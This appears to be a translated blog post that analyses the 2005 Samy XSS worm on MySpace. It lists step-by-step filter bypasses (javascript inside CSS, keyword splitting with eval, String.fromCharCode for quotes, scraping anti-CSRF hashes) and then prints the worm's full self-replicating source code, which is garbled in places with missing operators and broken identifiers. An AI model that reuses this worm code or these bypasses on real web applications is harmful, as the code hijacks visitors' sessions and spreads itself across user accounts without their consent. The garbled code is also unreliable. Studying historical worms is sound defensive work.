XSS Worm Definition and Practical Analysis

The last blog analyzed the classification and basic combat methods of XSS, and this time I will continue to accept an XSS virus.

Definition

First, let’s analyze what is the XSS worm virus.

It is a cross-site scripting virus, mostly written in JavaScript, to break through the security restrictions of the browser, it is based on social engineering to induce users to click on the malicious invitation link to visit the site on the site to infect users, infected users and then send content containing worms to continue to infect secure users.

General principles

Based on stored XSS vulnerabilities, attackers implant malicious code on web pages.

  • Send fake invitation links.
  • The user clicks on the link to be infected.
  • Send fake invitation link to friends of newly infected users.

This is a spread, spread mode, infection efficiency is very high, XSS worm infection speed is with the Web application user visits geometric increase
The xss worm is based on xss, so the functions that xss can exploit. Worms can exploit, and because xss worms are more propagable and harmful than stored XSS vulnerabilities.

The first worm: Samy

At the age of 19, Samy Kamkar launched an attack on the MySpace.com (social networking site). Samy Kamkar’s worm was executed by more than a million people in 20 hours. Everyone added a sentence after their self-introduction: “but most of all, Samy is my hero.”

In 2005, Samy Kamkar was struggling to make friends with his new account on the Myspace social networking site. His initial idea was to make his account page more flashy so that more girls would follow him. During his exploration of the Myspace.com page, he found that the page could embed javascript code, so his idea changed from “make the account page more flashy” to, every user who browses his account page will add him as a friend, and every user who adds his friend’s account page will embed the same code, and friends of friends will also add him as a friend… In less than a day, Samy’s worm infected 1 million users, making it the largest XSS worm in the history of web security.

Prerequisite for entry into force, MySpace website analysis

Well, let’s dive a little bit deeper into how these issues arise, the context in which it occurs, and how it works in general.

  1. The Myspace website filters many tags. In fact, they seem to only keep the ‘< a >’ tag, ‘< img >’ tag, and ‘< div >’ tag… there may be others. They prohibit the ‘< script >’ tag, < body > tag, onClick tag attribute, all tag attributes prefixed with on, href attribute containing javascript code, etc. However, some browsers (IE, some versions of Safari, etc.) allow javascript code in CSS tags. For example:

<div style="background:url('javascript:alert(1)')">

  1. Because we have used single and double quotes, we can no longer use quotes in the < div > tag. This makes JS code very difficult to write. To solve this problem, we use an expression to store JS code and then execute it through the name query:

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
3) Very good! Now we can use single quotes in javascript code. However, Myspace filters sensitive words such as “javascript”. To get around this limitation, we learned that some browsers parse “java\ nscript” as “javascript” (i.e. java < newline > script):

<div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">
4) OK, even if we make single quotes work, sometimes we need double quotes. We can escape double quotes, for example: "foo" bar ". But Myspace guessed I would do it… They filter all escaped quotes, whether single or double quotes. However, we can convert numerical values to ASCII code in javascript to generate quotes:

1
2
<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java 
script:eval(document.all.mycode.expr)')">
  1. In order to submit the code to the user’s account page, we need to get the source code of the page. Aha, we can use document.body.innerHTML to get the source code of the page, and the account page will keep the ID of the user who viewed the page (even once). Myspace guessed my idea again and filtered all “innerHTML”. To get around this limitation, we use eval () to call two strings, splice them together, and combine them into “innerHTML”:

alert(eval('document.body.inne' + 'rHTML'));
6) It’s time to visit other pages. We may think of using the iframe tag, but many times (even when hidden), iframes are not that effective, and users will obviously be aware that “something” is happening. So, we use AJAX (XML-HTTP) to construct GET and POST requests. However, the Myspace website filters the necessary keyword for an XML-HTTP request: “onreadystatechange”. Again, we use eval to bypass it. Another reason for choosing XML-http is that the necessary cookies for performing operations on Myspace websites can easily be sent to the background:

eval('xmlhttp.onread' + 'ystatechange = callback');
7) It’s time to send a GET status to the user’s account page so we can get their current watchlist. We don’t want to delete any friends we follow, we just want to add ourselves to their watchlist. If our GET request gets their account page, we can grab their hero and save it for later use. As mentioned earlier, this is easy to do with XML-HTTP, but we must get the ID of the user browsing the page. As we said above, we can achieve this by obtaining the page source code. However, now we need to search for a special word on this page. So we start searching, and if we do, the search will always find the code we wrote ourselves, because our code contains the word we are looking for… We tell the computer “If this page contains the word’foo ', then do the following”, and this statement will always return true, because it will always find the word in the code that performs the search. We get around this problem by combining eval () with string:

var index = html.indexOf('frien' + 'dID');
8) So far, we’ve got the watchlist. Next, add me as a friend by constructing an XML-http POST request to send to the Add Friends page. Oh come on, this doesn’t work! Why doesn’t it work? We’re on profile.myspace.com, but POST requests to add friends can only be requested on www.myspace.com. Not a big deal, but XML-HTTP doesn’t allow cross-domain GET/POST requests. To get around this restriction, we’ll jump to the same url www.myspace.com. You can still access the account page on the www.myspace.com, so reload the page to the domain name we can POST:

if (location.hostname 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;
9) We can finally make a POST request! However, when we send a POST request, it will not successfully add a friend. Why is this happening? The Myspace website generates a random hash value for the page that needs to be POST (for example, the “Are you sure you want to add this user as a friend” page). If this hash value is not included in the POST request, the request will not take effect. In order to solve this problem, we pretend to be a browser. Before adding friends, we use GET to obtain the corresponding page, parse its source code to obtain this hash value, and then attach this hash value when constructing a POST request.

  1. When the POST request is complete, we also add a follower to the watchlist and attach the worm code. The code is placed in the same place as the new follow, so we only need to send a POST request. To get the new hash value, we need to GET the request to the page, but before that, we have to regenerate the worm code sent by POST. The easiest way is to grab the source code in our account page, parse the worm code, and then POST it out. This can be done, but now all the code is garbled! Ah, we need to URL encode or escape the code so that the POST request can send this code correctly. Strange, still not working. Obviously, the URL encoding and escape functions of javascript do not escape everything necessary, so we need to manually perform some substitutions to allow key data to be successfully escaped. We added a short paragraph of text “But most importantly, samy is my idol”. Immediately afterwards, we added all the worm code. Now, we have a “self-replicating” code, which you can call a worm if you want.

  2. There are also some restrictions, such as the maximum length of label attribute assignment, which will cause other problems, and require compressed code, no spaces, vague variable names, functions to reuse

Source code analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
<div id=mycode style=”BACKGROUND: url('javascript:eval(document.all.mycode.expr)')” expr=
Var B = String.fromCharCode (34);//double quotes
Var A = String.fromCharCode (39);//single quotes
Function g () { // returns the doc content and does browser compatibility processing
var C;
try {
var D = document.body.createTextRange(); C = D.htmlText
} catch (e) {}
if (C) {
return C
} else {
return eval('document.body.innerHTML')
}
}
Function getFromURL (BF, BG ) { // Get the value of BG from the string BF
var T;
if (BG 'Mytoken') {
T = B
} else {
T = ' & '
}
var U = BG + ' = ';
var V = BF.indexOf(U) + U.length;
var W = BF.substring(V, V + 1024);
var X = W.indexOf(T);
var Y = W.substring(0, X);
return Y
}
function getData(AU) {
M = getFromURL (AU, 'friendID '); // Get the value of friendID from AU
L = getFromURL (AU, 'MyToken')//Get the value of MyToken from AU
}
Function getQueryParams () { // convert the params string in the URL into an object
var E = document.location.search;
var F = E.substring(1, E.length).split(' & ');
var AS = new Array();
for (var O = 0; O < F.length; O++) {
var I = F[O].split(' = ');
AS[I[0]] = I[1]
}
return AS
}
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if (location.hostname 'profile.myspace.com') { // 当前在个人主页就跳转回myspace的主页
document.location
= 'http: //www.myspace.com' + location.pathname + location.search
} else {
If (! M ) { // if friendID is not parsed from the url
getData (g ()) // parses friendID and MyToken from body
}
main()
}
function getClientFID() {
Return findIn (g (), 'up_launchIC (' + A, A)//find the content between up_launchIC ('and' from body
}
function nothing() {}
Function paramsToString (AV ) { // Convert an object to a parameter string
var N = new String();
var O = 0;
for (var P in AV) {
if (O > 0) {
N += ' & '
}
var Q = escape(AV[P]);
while (Q.indexOf(' + ') != -1) {
Q = Q.replace(' + ', ' % 2B')
}
while (Q.indexOf(' & ') != -1) {
Q = Q.replace(' & ', ' % 26')
}
N += P + ' = ' + Q; O++
}
return N
}
Function httpSend (BH, BI, BJ, BK) {//respectively, the url, the returned processing function, method, and request body
if (!J) {
return false
}
eval('J.onr' + 'eadystatechange = BI');
J.open(BJ, BH, true);
if (BJ 'POST') {
J.setRequestHeader('Content - Type', 'application / x - www - form - urlencoded');
J.setRequestHeader('Content - Length', BK.length)
}
J.send(BK); return true
}
Function findIn (BF, BB, BC ) { // Intercept from BF between BB and BC
var R = BF.indexOf(BB) + BB.length;
var S = BF.substring(R, R + 1024);
return S.substring(0, S.indexOf(BC))
}
function getHiddenParameter(BF, BG) {
Return findIn (BF, 'name = ' + B + BG + B +' value = ' + B, B)//find the value between name = "BG" value = and "from BF
}
function getXMLObj() {
var Z = false;
if (window.XMLHttpRequest) {
try {
Z = new XMLHttpRe - quest()
} catch(e) {
Z = false
}
} else if (window.ActiveXObject) {
try {
Z = new ActiveXOb - ject('Msxml2.XMLHTTP')
} catch (e) {
try {
Z = new ActiveXOb - ject('Microsoft.XMLHTTP')
} catch (e) {
Z = false
}
}
}
return Z
}
var AA = g();
var AB = AA.indexOf('m' + 'ycode');
var AC = AA.substring(AB, AB + 4096);
var AD = AC.indexOf('D' + 'IV');
Var AE = AC.substring (0, AD);//The code of the worm itself parsed from the body
var AF;
if (AE) {
AE = AE.replace('jav' + 'a', A + 'jav' + 'a');
AE = AE.replace('exp' + 'r)', 'exp' + 'r)' + A);
AF = 'but most of all,samy is my hero. < d' + 'iv id = ' + AE + 'D' + 'IV > '
}
var AG;
function getHome() {
if (J.readyState != 4) {
return
}
var AU = J.responseText;
AG = findIn (AU, 'P' + 'rofi le Heroes ', ' < / td >'); // Find the content between ProfileHeroes and' </td > 'from the return body
AG = AG.substring(61, AG.length);
if (AG.indexOf('samy') -1) {
if (AF) {
AG += AF;
var AR = getFromURL(AU, 'Mytoken');
var AS = new Ar - ray();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Preview';
AS['interest'] = AG;
J = getXMLObj();
//respectively, the url, the returned processing function, method, and request body
httpSend('/index.cfm ? fuseaction = profile.previewInterests & Mytoken = ' + AR,
postHero, 'POST', paramsToString(AS))
}
}
}
function postHero() {
if (J.readyState != 4) {
return
}
var AU = J.responseText;
var AR = getFromURL(AU, 'Mytoken');
var AS = new Ar - ray();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Submit';
AS['interest'] = AG;
AS ['hash'] = getHiddenParame - ter (AU, 'hash');
httpSend(' / index.cfm ? fuseaction = profile.processInterests & Mytoken = ' + AR,
nothing, 'POST', paramsToString(AS))
}
function main() {
var AN = getClientFID();
var BH = ' / index.cfm ? fuseaction = user.viewProfile & friendID = ' + AN + ' & Mytoken = ' + L;
J = getXMLObj();
HttpSend (BH, getHome, 'GET '); // Send get request, process function is getHome, embed code
xmlhttp2 = getXMLObj();
httpSend2(' / index.cfm ? fuseaction = invite.addfriend_verify & friendID = 11851658 & Mytoken = ' + L,
processxForm, 'GET')//Send friend invitation
}
function processx - Form() {
if (xmlhttp2.readyState != 4) {
return
}
var AU = xmlhttp2.responseText;
var AQ = getHiddenParameter(AU, 'hashcode');
var AR = getFromURL(AU, 'Mytoken');
var AS = new Array();
AS['hashcode'] = AQ;
AS['friendID'] = '11851658';
AS['submit'] = 'Add to Friends';
httpSend2(' / index.cfm ? fuseaction = invite.addFriendsProcess & Mytoken = ' + AR,
nothing, 'POST', paramsToString(AS))
}
function httpSend2(BH, BI, BJ, BK) {
if (!xmlhttp2) {
return false
}
eval('xmlhttp2.onr' + 'eadystatechange = BI');
xmlhttp2.open(BJ, BH, true);
if (BJ 'POST') {
xmlhttp2.setRequestHeader('Content - Type', 'application / x - www - form - urlencoded'); xmlhttp2.setRequestHeader('Content - Length', BK.length)
}
xmlhttp2.send(BK); return true
}
”></DIV>